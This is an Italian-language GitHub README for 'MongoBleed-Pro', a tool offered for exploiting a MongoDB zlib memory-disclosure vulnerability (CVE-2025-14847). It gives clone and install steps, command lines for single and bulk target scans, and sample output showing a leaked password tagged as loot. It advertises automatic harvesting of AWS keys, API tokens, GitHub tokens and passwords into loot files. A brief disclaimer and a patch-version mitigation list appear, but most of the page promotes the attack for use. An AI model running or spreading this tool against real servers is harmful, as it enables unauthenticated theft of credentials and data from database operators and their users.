MongoBleed-Pro ☠️

Strumento avanzato di sfruttamento della perdita di memoria MongoDB
Continua a imparare | Continua a hackerare con Alexcyberx

---

🔥 Informazioni

MongoBleed-Pro è uno strumento avanzato di sfruttamento per CVE-2025-14847, una vulnerabilità critica di divulgazione di memoria nella gestione della compressione zlib di MongoDB. Questo strumento consente ai ricercatori di sicurezza di estrarre dati sensibili da istanze MongoDB vulnerabili.

⚠️ Avvertenza

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Ottieni sempre l'autorizzazione appropriata prima del test.

---

💀 Dettagli della Vulnerabilità

Proprietà	Dettagli
ID CVE	CVE-2025-14847
Tipo di vulnerabilità	Divulgazione di memoria
Versioni interessate	MongoDB < 8.0.10, < 7.3.6, < 7.0.19, < 6.0.23
Causa principale	Over-read del buffer nella decompressione zlib
Impatto	Perdita di memoria remota non autenticata

---

🚀 Funzionalità

• ☠️ Interfaccia stile hacker - Interfaccia terminale d'élite con animazioni
• ⚡ Scansione multi-thread - Estrazione rapida della memoria con thread configurabili
• 🎯 Rilevamento automatico delle vulnerabilità - Controllo automatico delle vulnerabilità prima dello sfruttamento
• 🔑 Rilevamento di pattern segreti - Trova chiavi AWS, token API, password, email
• 📊 Avanzamento in tempo reale - Visualizzazione live della perdita di memoria
• 💾 Esportazione dati - Salva i dati estratti in file per l'analisi
• 🌐 Scansione in blocco - Scansiona più target da file

---

📦 Installazione

# Clone the repository
git clone https://github.com/alexcyberx/CVE-2025-14847_Expolit.git
cd CVE-2025-14847_Expolit

# Install dependencies
pip install -r requirements.txt

---

🎮 Utilizzo

Utilizzo di base

python3 mongobleed_pro.py

Target specifico

python3 mongobleed_pro.py --target 192.168.1.100

Porta personalizzata

python3 mongobleed_pro.py --target 192.168.1.100:27018

Scansione in blocco

python3 mongobleed_pro.py --file targets.txt

Opzioni avanzate

python3 mongobleed_pro.py --target 192.168.1.100 --threads 100 --min-offset 100 --max-offset 20000

Tutte le opzioni

Argomento	Descrizione	Predefinito
--target	IP/URL target	Prompt interattivo
--file	File con elenco target	Nessuno
--threads	Numero di thread	50
--min-offset	Offset minimo di memoria	20
--max-offset	Offset massimo di memoria	8192

---

📸 Schermate

╔══════════════════════════════════════════════════════════════╗
║  💀 AVVIO DELLA SEQUENZA DI ESTRAZIONE DELLA MEMORIA 💀     ║
╚══════════════════════════════════════════════════════════════╝

⚡ Target acquisito: 192.168.1.100:27017
   ✓ Porta APERTA
   ☠️  VULNERABILE! Avvio attacco...

  ◉ 0x0E31 │ nr_inactive_anon 134420\nnr_active_anon 110832...
  ☠️  BOTTINO ACQUISITO: 🔐 Password
      → admin_pass=SuperSecret123

╔══════════════════ ESTRAZIONE COMPLETATA ═════════════════╗
║  💾 Byte estratti: 125.847
║  📦 Frammenti unici: 342
║  🔑 Segreti trovati: 5
╚══════════════════════════════════════════════════════════╝

---

🔑 Tipi di segreti rilevati

• 🔑 Chiavi di accesso AWS (AKIA...)
• 🤖 Chiavi API OpenAI (sk-...)
• 🐙 Token GitHub (ghp_...)
• 🔐 Password e segreti
• 📧 Indirizzi email

---

📁 File di output

File	Descrizione
loot_<host>.txt	Segreti estratti in formato leggibile
dump_<host>.bin	Dump di memoria grezzo per analisi manuale

---

🛡️ Mitigazione

Se sei un amministratore MongoDB, aggiorna alle versioni patchate:

• MongoDB 8.0.10+
• MongoDB 7.3.6+
• MongoDB 7.0.19+
• MongoDB 6.0.23+

---

👤 Autore

alexcyberx

• 🐦 Instagram: @alex_cyberx

---

📜 Licenza

Questo progetto è concesso in licenza sotto licenza MIT - consulta il file LICENSE per i dettagli.

---

⭐ Supporto

Se hai trovato utile questo strumento, dagli una ⭐ su GitHub!

---

「 Continua a imparare | Continua a hackerare 」
Fatto con ❤️ da alexcyberx